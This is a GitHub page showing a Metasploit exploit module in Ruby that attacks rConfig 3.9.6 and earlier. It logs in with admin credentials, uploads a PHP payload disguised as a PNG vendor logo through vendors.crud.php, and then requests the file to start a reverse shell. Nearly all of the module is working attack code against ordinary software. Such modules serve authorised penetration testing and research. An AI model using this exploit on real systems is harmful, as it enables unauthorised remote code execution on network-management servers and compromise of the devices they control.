-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
rconfig_vendors_auth_file_upload_rce.rb
157 lines (137 loc) · 4.89 KB
/
rconfig_vendors_auth_file_upload_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'rConfig Vendors Auth File Upload RCE',
'Description' => %q{
This module allows an attacker with a privileged rConfig account to start a reverse shell
due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`.
Then, the uploaded payload can be triggered by a call to `images/vendor/<payload_file>.php`
},
'License' => MSF_LICENSE,
'Author' => [
'MURAT ŞEKER', # Exploit-db
'VISHWARAJ BHATTRAI', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' => [
['EDB', '49665'],
['EDB', '49783']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Privileged' => false,
'DisclosureDate' => '2021-03-17',
'Targets' => [
[ 'rConfig <= 3.9.6', {}]
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the rConfig server', '/'])
]
end
def authenticate
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'keep_cookies' => true
})
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r
r = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib/crud/userprocess.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => "#{full_uri}/login.php"
},
'keep_cookies' => true,
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'sublogin' => '1'
}
)
fail_with Failure::Unreachable "Target #{RHOST} could not be reached." unless r
if r.body.to_s.include?('Invalid')
fail_with Failure::BadConfig, 'The admin credentials given are incorrect'
end
unless r.headers.include?('location')
fail_with Failure::UnexpectedReply, 'Unexpected reply as auth redirection didn\'t work'
end
print_good 'We successfully logged in !'
end
def check
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.php')
})
if r&.code == 200
version = r.body.to_s.match(/Version (\d*.\d*.\d*)/)
if version && version[1]
print_good(version[1] + ' of rConfig found !')
unless Rex::Version.new(version[1]) <= Rex::Version.new('3.9.6')
return CheckCode::Detected('Only versions <= 3.9.6 are vulnerable !')
end
return CheckCode::Appears('Vulnerable version of rConfig found !')
else
return CheckCode::Safe('Version of rConfig not found !')
end
else
CheckCode::Unknown("Can't access the rConfig web interface !")
end
end
def exploit
cookie_jar.clear
authenticate
filename = "#{Rex::Text.rand_text_alpha_lower(5..12)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_alpha(8..12), nil, nil, 'form-data; name="vendorName"')
post_data.add_part(payload.encoded, 'image/png', nil, "form-data; name='vendorLogo'; filename=#{filename}")
post_data.add_part('add', nil, nil, 'form-data; name="add"')
post_data.add_part('', nil, nil, 'form-data; name="editid"')
print_status("Uploading file \'#{filename}\' containing the payload...")
r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/crud/vendors.crud.php'),
'headers' => {
'Origin' => full_uri('')
},
'keep_cookies' => true,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if r&.code == 302
register_file_for_cleanup(filename)
print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, "/images/vendor/#{filename}")
)
else
fail_with Failure::Unknown "Wasn't able to upload the payload file"
end
end
end